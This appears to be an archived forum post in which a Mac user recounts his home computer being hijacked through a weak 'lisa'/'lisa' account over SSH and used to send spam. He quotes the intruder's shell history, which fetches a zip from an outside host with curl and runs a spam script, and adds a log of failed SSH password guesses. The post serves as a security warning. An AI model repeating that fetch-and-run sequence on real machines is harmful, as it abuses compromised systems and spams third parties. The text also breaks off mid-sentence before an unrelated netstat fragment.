SubscribeMuch to my horror, I awoke on the weekend to an e-mail from my service provider which started with:
"Recently we have had complaints of spam coming from your connection."
My wife had complained last week that the computer at home had seemed a bit slow. I rebooted it, and it seemed fine immediately afterwards.
Now I took immediate action, sent an email indicating it was unintentional and I'd take care of it immediately. I pulled the network cable and proceeded to see what had happened.
In a nutshell, about a year ago I'd played around with fast user switching. I'd created an account with the userid of "lisa" and a password of "lisa". Ok, not too swift, but it was convenient for a test. I'd forgotten about it. When I looked in the account's .bash_history file, I found stuff like:
...
curl -O haq.sytes.net/sex.zip
ls
unzip sex.zip
rm -rf sex.zip
cd sex
ls
pico users
chmod +x sendeb.pl
./sendeb.pl
passwd
...
So clearly the person had logged into this not secure, yet still non-admin account and was running scripts. Likely they had gotten in via ssh, since I had the port open so I could do remote maintenance from my office if the need arose.
Checking the /var/log/mail.log (one of the archives), I found that on October 30th it had sent out over 500,000 eBay spam messages.
Just a warning .... make sure you use secure/difficult to guess passwords. ie: Don't use "guest, guest", or name name userid/password pairs.
Mac OS X is very secure, but not if you leave the doors unlocked and the keys in the ignition.
Failed SSHD logins from:
aaron/password from 192.168.0.0: 3 Time(s)
abigail/password from 192.168.0.0: 3 Time(s)
adam/password from 192.168.0.0: 3 Time(s)
adam/password from 10.0.0.0: 3 Time(s)
admin/password from 10.0.0.0: 21 Time(s)
adrian/password from 192.168.0.0: 3 Time(s)
adriana/password from 192.168.0.0: 3 Time(s)
alan/password from 10.0.0.0: 3 Time(s)
alejandra/password from 192.168.0.0: 3 Time(s)
alejandro/password from 192.168.0.0: 3 Time(s)
alex/password from 192.168.0.0: 3 Time(s)
alex/password from 10.0.0.0: 3 Time(s)
alexa/password from 192.168.0.0: 3 Time(s)
alexander/password from 192.168.0.0: 3 Time(s)
alexandra/password from 192.168.0.0: 3 Time(s)
backup/password from 10.0.0.0: 3 Time(s)
bad/password from 192.168.0.0: 9 Time(s)
banazir/password from 192.168.0.0: 3 Time(s)
barkha/password from 192.168.0.0: 3 Time(s)
benjamin/password from 192.168.0.0: 3 Time(s)
blake/password from 192.168.0.0: 3 Time(s)
bradley/password from 192.168.0.0: 3 Time(s)
brady/password from 192.168.0.0: 3 Time(s)
brendan/password from 192.168.0.0: 3 Time(s)
brett/password from 192.168.0.0: 3 Time(s)
command) and entering netstat -a at the prompt. If you've still got active connections, that's a bad sign. « Older Google Reader.... | Vote for Your Ruler:... Newer »
This thread has been archived and is closed to new comments
'cause you can't con an honest man....
posted by dersins at 11:05 AM on October 7, 2005